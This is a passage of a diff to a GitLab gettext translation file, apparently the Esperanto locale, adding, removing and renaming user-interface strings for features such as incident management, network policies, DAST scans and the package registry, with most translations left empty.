+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr "Intervala Åablono"
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr "Ne estas deponejo"
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr "Ne estas planoj"
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr "Nomo"
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr "Neniam"
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
